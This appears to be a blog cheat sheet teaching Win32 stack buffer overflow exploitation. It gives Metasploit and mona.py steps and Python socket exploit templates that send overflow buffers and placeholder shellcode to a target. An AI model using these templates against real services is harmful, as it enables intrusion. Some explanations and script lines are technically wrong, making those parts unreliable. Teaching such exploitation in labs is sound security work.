Win32 Buffer Overflow


Methodology


  • Create a buffer overflow
  • Locate offset to EIP
  • Locate bad characters
  • Locate an address to trigger shellcode, such as an pointing to JMP ESP or CALL EAX
  • Modify the return address to deliver shellcode

Tools


Metasploit

  • pattern_create.rb - creates a cylic pattern which feeds into pattern_offset.rb
  • ./pattern_create -l <size>
  • pattern_offset.rb - locates offset for EIP
  • ./pattern -q <EIP Value>
  • msfvenom -p windows/[Enter Payload] - Generates payload
  • msfvenom -p windows/[Enter Payload] -f raw | ndisasm -u - -Displays asm instructions of the generated payload

mona.py

  • !mona config -set workingfolder c:\logs\: This command creates a log directory and logs results 
  • !mona findmsp: This command locates the cyclic pattern generated from Metasploit
  • !mona find -type instr -s "enter instruction": This command locates an address pointing to a specified instruction, such as JMP ESP
  • !mona pattern_create: This command is used to create a cyclic pattern
  • !mona pattern_offset: This command is used to find the offset value for EIP
  • Generate a bytearray without common badchars  !mona bytearray -b "\x00\x09\x0A\x0B\x0D\x0E\x0F"
  • !mona bytearray: Generates a badchar pattern
  • !mona compare -f C:\logs\<app_name>\bytearray.bin -a 00AFFD44 <replace_address>: locates bad character
  • !mona bytearray –cpb "\x00" <replace with identified bad characters>: Generates a new badchar pattern while removing bad characters found from !mona compare
Tricks And Tips
  • Piping contents of a file containing a buffer overflow into a variable on windows 7 
  • set /p data=<bufferoverflow.txt
  • Run vulnerable app %data% #inputs variable
  • When targeting executables, start by fuzzing with 80 bytes  
  • When targeting networking services, start by fuzzing with 100 bytes 

Buffer Overflow Skeleton


#!/usr/bin/python
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = sys.argv[1]
port = sys.argv[2]
s.connect((ip, int(port)))
buffer = "A" * #  #Reach EIP
buffer += "BBBB" #Overwrite Ret
buffer += "CCCC" #Control ESP
buffer += "\x90" * (#number_of_overflow_bytes - len(buffer))
s.send(buffer)
s.close()

x86 Assembly 101


  • The Stack grows from high memory to low memory
  • operations are last in first out
  • Functions in a stack frame grow from low memory to high memory
  • The CALL instruction pushes the next address on top of the stack which typically is the address which points to the return instruction (return address). It can also be used to push values on the stack by leveraging CALL EAX. 


Operation of The CALL Instruction


The CALL instruction pushes the next address on top of the stack
which typically is the address which points to the RET instruction (return address)
it can also be used to push values on the stack by leveraging the CALL EAX instruction.

After the return address is pushed onto the stack the EBP base pointer is pushed onto the stack,
Which stores the stack frame. The stack frame stores arguments and variables.  

The EIP instruction pointer then points to the starting address of the stack frame.

Stack Frame: 
PUSH EBP //push stack frame on stack (saves value of ebp)
MOV EBP, ESP //ebp (stack frame) now points to the top of the stack
SUB ESP, 10 //space is then allocated on the stack for local variables

At the end of the stack frame is a leave instruction which is used to pop the stack frame off the stack and then pushes the address (return address) which is on the ESP stack pointer onto the stack. When the return address is executed, the current address that is on the stack is popped off, and then pop onto the EIP instruction pointer.


Tampering Return Address


The return address within a function can be altered to execute a function of our choosing. To modify the return address follow the steps below:

1. Set a breakpoint on a call instruction
2. Run the program
3. Single Step into the function
4. From the stack window modify the return address with the address of the function that needs to be executed
5. Single Step into the function of our choosing
6. Locate the export address of ExitProcess() from kernel32.dll and copy the address
7. Modify the return address within the function we want to execute with the address containing ExitProcess()


Exploiting Application Tips


Identify what service variable is vulnerable to a buffer overflow, such as header, user-agent.

Look for vulnerable system functions, such as: 
  • gets()
  • memcpy()
  • strcpy()
Review functions in an application for: 
  • Defined buffer sizes.
  • If the application can receive more bytes then what it has been defined for. 


Overwriting The Return Address


The following steps can be used to identify the number of characters that are necessary to overwrite the return address:
  • Set a breakpoint at the call instruction OR the beginning of the function and take note of the return address.
  • Generate a cyclic pattern by executing !mona pattern_create <large value>.
  • Send the cyclic pattern to overwrite the EIP instruction pointer. 
  • Take note of the value stored at EIP.
  • Execute !mona pattern_offset <value of EIP>. This will present the correct number of bytes to reach the Return Address.
  • Resend the pattern using the new value found from !mona pattern_offset <value>.


Overwriting The Stack Remotely


In order to overwrite the stack and deliver a payload, follow the steps below:

  • Launch Immunity Debugger and attach the vulnerable application.
  • Set a breakpoint from the beginning of the vulnerable function OR set a breakpoint with a call instruction and take note of the return address.
  • Run the program.
  • From the attacker machine, create a large cyclic pattern
  • Send the pattern to the target
  • Go back to the Immunity Debugger.
  • From the test machine, make note of the return address, located in the stack window.
  • Step through the function until a system function is used to copy the payload into the buffer.
  • Once the payload is copied into buffer, verify if it has overwritten the return address is overwritten.
  • Then execute !mona findmsp, this will locate the correct offset to reach EIP.
  • Modify the buffer overflow python script to include a variable multiplied by the offset which reached EIP.
  • Add another variable specifying four bytes, which will be used to overwrite value in the return address. (The four bytes will be later replaced with an address pointing to JMP ESP or CALL EAX)
  • Add another variable specifying another four bytes, which will be used to control the starting point of ESP. (The four bytes will be later replaced with a badchar pattern)
  • Add another variable specifying "\x90" * 400

Example:

#!/usr/bin/python
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = sys.argv[1]
port = sys.argv[2]
s.connect((ip, int(port)))
buffer = "A" * 1036 #buffer overflow
buffer += "BBBB" # Overwrite Return Address
buffer += "CCCC" # Control ESP
buffer += "\x90" * 400
s.send(buffer)
s.close()
  • From the test machine, open the vulnerable application with Immunity Debugger. 
  • Set a breakpoint from the beginning of the vulnerable function OR set a breakpoint with a call instruction.
  • Run the program.
  • From the attacker machine, send the payload. 
  • From the test machine step over the program until the system function used to copy the input buffer is reached.
  • Step over until the return instructions is reached.
  • Trace the return address in the stack window.
  • Modify the address pointing to the return address by replacing its value with the next address shown in the stack window.
  • From the registers window, right click esp and then select follow in dump.
  • Set a hardware breakpoint on execution on the beginning byte which was used in the bufferoverflow.py script to control ESP.
  • Run the program.
  • After the breakpoint, in the memory dump, copy the first four bytes, the four bytes is the address which will replace the four bytes used to overwrite the Return Address in the script.
  • When copying address remember that its read from right to left.  

example:
0022F730 = \x30\xF7\x22\x00

  • Replace the four bytes in the bufferoverflow.py script.
  • From the attacker machine send the payload.
  • From the test machine step through the program until the return instruction is reached.
  • Verify what value is shown now in the return address, located in the stack window
Note. If it does not point to the four bytes used to control ESP, follow the steps below:
  • Step over the return instruction.
  • From the registers window right click ESP and select follow in dump.
  • In the memory dump window, right click and select search for binary string.
  • Enter the four bytes used to control the ESP in the bufferoverflow.py script.
  • Take note of the offset address pointing to the four bytes.
  • Go back to the bufferoverflow.py script and swap the four bytes which was used to overwrite the return address, with the address found from the previous step.
  • Replace the variable containing four bytes used to fill in for ESP with a nop sled = "\x90" *40.
  • Add another variable containing shellcode.

Note. If is does point to the four bytes used to control ESP, follow the steps below:

  • From Immunity Debugger, Take note of the offset address pointing to the four bytes.
  • Go back to the bufferoverflow.py script and swap the four bytes which was used to overwrite the return address, with the address found from the previous step.
  • Replace the variable containing four bytes used to fill in for ESP with a nop sled = "\x90" *40.
  • Add another variable containing shellcode.


So the bufferoverflow.py script would look like:

#!/usr/bin/python
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = sys.argv[1]
port = sys.argv[2]
s.connect((ip, int(port)))
buffer = "A" * 1036 #buffer overflow
buffer += "<new return address> # Overwrite Return Address
buffer += "\x90" * 40 # Replaced ESP Starting Point
buffer += (insert shellcode)
s.send(buffer)
s.close()


Dealing with Return Address Annoyances


After sending the correct number of bytes to cause a buffer overflow, However when looking at the stack window, you see the next address is not pointing to the bytes specified to control ESP. Follow these steps below:
  • From the stack window, Locate another address which contains the bytes specified to cause a buffer overflow. Note. when selecting the address pick the fourth one down.
  • Modify The bufferoverflow.py script to include the new address which will be used to replace the bytes used to overwrite the return address. Note. make sure to leave room for padding when choosing an address to use.
  • Generate shellcode with msfvenom.
  • Add a variable called shellcode and paste the shellcode generated by msfvenom within the bufferoverflow.py script
  • Add another variable called buffer and assign it a nop sled
  • Add another variable called buffer and assign the shellcode variable to it
  • replace the bytes in the buffer variable which were used to cause a buffer overflow with a nop "\x90" and then subtract it with the number of bytes used in the first nopsled, subtract it with the len of the shellcode.
example:
buffer += "\x90" * 36
buffer += shellcode
buffer += "\x90" * (1036  - 36 - len(shellcode)


Functions Which Causes Corruptions 


Functions such as memset() can be used to modify data within a buffer, which 
makes it possible to corrupt data in the buffer overflow.

To get around this annoyance follow the steps below:
  • Identify the function and how the function alters the data in the buffer. 
    • To do this step over the function until the system function that alerts the data is reached.
    • Step over this function and take note of the altered buffer.
    • Step over until the return instruction is reached. 
    • In the stack window take a look at the buffer, and noticed it has changed.
  • After finding the number of bytes to cause a buffer overflow, generate a pattern_create.rb from metasploit.
  • Send the pattern.
  • Run the program and take note of the value in EIP.
  • From Immunity Debugger execute !mona findmsp and identify the number of bytes to reach EIP.
  • After finding the correct number of bytes to overwrite the return address add the following items in the script:
    • a variable containing a nop sled. 
    • a variable containing shellcode.
    • a variable containing padding (padding is the number of bytes used to cause a buffer. overflow - the number of bytes used in the intial nop sled - length of the shellcode).
    • a variable containing four bytes to overwrite the return address.
  •  Send the payload.
  • From the test machine, step over the instructions in the vulnerable function until the return instruction is reached.
  • From the stack window, locate the initial bytes used in the nop sled, starting from the beginning bytes count down to four and take note of the address. The nop sled comes before the shellcode. This address will be now be used to replace the four bytes used to overwrite the return address.
  • Note. If the return address and payload occurs in the lower address region, ESP will corrupt the instructions used in the payload. Therefor it is important to add buffer space between ESP and the payload. To do this follow the steps below:
    • Go back to the immunity debugger.
    • Right click on an address in the cpu window and select assemble. 
    • Enter sub esp, 400.
    • Then take note of the opcode. 
    • Add it to a variable in the script called adjust_esp.
    • Then modify the script to include:
      • nop sled 
      • esp_adjust
      • shellcode
      • nop sled padding 
      • return


Buffer Overflow Annoyances


There are times when sending a payload containing the number of bytes found from using pattern_offset.rb reaches EIP, however you noticed the bytes aren't reaching the stack. To resolve this problem follow the steps below:
  • Go back to the buffer overflow python script.
  • Add a line containing a variable and multiple the variable with the initial bytes used in the buffer overflow, then subtracted by the length of the buffer. 
Example:
buffer += "A" * 1055 #Reach EIP
buffer += "BBBB" #Overwrite Ret
buffer += "CCCC" #Control ESP
buffer += "A" * (400000 - len(buffer)) #Fill up Stack


Finding Bad Characters


Bad Characters stem from how applications filter a string. If the string contains characters which are part of the applications grammar, such as string terminators or delimiters, it can cause the payload to crash.
  • To identify Bad Characters run the badchar.py script to generate a list of bad characters.
  • Next copy and paste the list of bad characters in the bufferoverflow.py script in a variable that comes after the buffer overflow.
Example:

#!/usr/bin/python
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = sys.argv[1]
port = sys.argv[2]
s.connect((ip, int(port)))
buffer = "A" * 1100 #Buffer Overflow
buffer += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" # Bad Characters
buffer += "B" * 400 #Padding
s.send (buffer)
s.close()
  • Then Send the payload to the application. 
  • From Immunity Debugger, look at the stack window. 
  • Trace the characters which were sent and look for truncations.
  • if for example, you notice \xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\ and it stops there it means that \xAA is a bad character and it should be removed.
Note. Address cannot be used if they contain bad characters either.

To get around this follow the steps below:
  • From Immunity Debugger, execute !mona find -type instr "JMP ESP".
  • Navigate to the log directory.
  • Open the find.txt log.
  • Take note of addresses pointing to JMP ESP.
  • Note. the address should contain read and execute permissions. 


Exploiting Local File Applications


Local file application will take input from a user. Therefore in order to cause a buffer overflow the input needs to contain a large number of bytes. After locating the correct number of bytes to perform a buffer overflow. Add a variable to a script containing the correct number of bytes.

for example:

#!/usr/bin/python
file = open("shell.mppl", "wb")
buffer = "A" * 1276 #buffer overflow
buffer += "BBBB" #Overwrite Return Address
buffer += "CCCC" #Control ESP
buffer += "D" * 200
file.write(buffer)
file.close


Executing Shellcode from EAX


There are times when the payload is stored on EAX register Not ESP. In order to successfully achieve execution control of the shellcode follow the steps below:
  • Send the buffer overflow with the pattern created from pattern_create.rb.
  • Copy the value stored on EIP.
  • Generate new payload consisting of the bytes found from pattern_offset.rb.
  • Send the payload.
  • From Immunity Debugger, right click on EAX and select follow in memory dump.
  • Take note of the first address pointing to the pattern.
  • Open a scientific calculator and enter the number of bytes used to perform a buffer overflow.
  • Then select Hex, to get the hex value and take note of it.
  • Go back to Immunity Debugger, from the memory dump window right click and select goto and select expression.
  • Enter the address which was noted on step 1 and enter + the hex value taken from step 3. 
  • 0048DD14 + 4FC
  • Verify that the next address in the memory dump points to the bytes which is used to control ESP.
  •  Next replace the bytes used to control ESP with a badcharacter array and trace the bad characters.
  • After finding the bad characters generate shellcode excluding them.
  • Since the payload is stored on the EAX register, we need to use a CALL EAX instruction to push it on
  • the stack.
  • From Immunity Debugger execute !mona -find type instr "CALL EAX"
  • Take note of the address.
  •  Modify the bufferoverflow.py script to include:
    • nop sled = "\x90" * 40
    • shellcode 
    • padding = "\x90" * (#number of bytes found from pattern_offset.rb - 40 - len(shellcode))
    • address which points to CALL EAX

Format

#!/usr/bin/python

import socket
import struct
import sys

#Connect to Target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = sys.argv[1]
port = sys.argv[2]
s.connect((ip, int(port)))

#Configure Payload

overfill = "" #Insert Buffer Overflow Bytes
#generate msp pattern % ~/opt/metasploit-framework/tools/exploit/pattern_create.rb -l <overfill_bytes>
#find offset value: !mona findmsp enter value in [offset_srp]

offset_srp = "" #Offset value points to RET
ptr_jmp_esp = "" #Points to JMP ESP
sub_esp = "" #Subtract ESP by 10 [\x83\xec\x10] to add room for shellcode
#open metasm /usr/share/metasploit-framework/tools/exploit/metasm_shell.rb
#enter sub esp, 100 and copy opcode

shellcode = ("")
badchar_test = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

#Payload Development
#Perform Crash Test

buffer = "A" * (offset_srp - len(buffer)) #Padd To RET
buffer += "BBBB" #EIP Points to \x41 "B"
buffer += "CCCC" #ESP Points to \x43 "C"
buffer += "D" * (overfill - len(buffer)) #Trailing padd
buffer += "\n"
s.send (buffer)
s.recv(1024)
s.close

#Locate bad characters
#Locate bad characters
buffer = "A" * (offset_srp - len(buffer)) #Padding
buffer += "BBBB" #EIP Points to \x41 "B"
buffer += badchar_test
buffer += "D" * (overfill - len(buffer)) #Trailing padd
buffer += "\n"
s.send (buffer)
s.recv(1024)
s.close

#Locate JMP ESP without ALSR
#!mona jmp -r esp -cpb "" <Insert Bad Character bytes example: !mona jmp -r esp -cpb "\x00\x0A"
#Insert value in [ptr_jmp_esp]

#Payload Confirmation
buffer = "\x90" * (offset_srp - len(buffer)) #Padding
buffer += struct.pack("<I", ptr_jmp_esp) #EIP Points to JMP ESP
buffer += sub_esp #Add space for shellcode
buffer += "\xcc\xcc\xcc\xcc" #Set breakpoint verify everyting is smooth
buffer += shellcode
buffer += "\x90" * (overfill - len(buffer)) #Trailing padd
buffer += "\n"
s.send (buffer)
s.recv(1024)
s.close

#Payload Devilvery
buffer = "\x90" * (offset_srp - len(buffer)) #Padding
buffer += struct.pack("<I", ptr_jmp_esp) #EIP Points to JMP ESP
buffer += sub_esp #Add space for shellcode
buffer += shellcode
buffer += "\x90" * (overfill - len(buffer)) #Trailing padd
buffer += "\n"
s.send (buffer)
s.recv(1024)
s.close

Comments

Popular Posts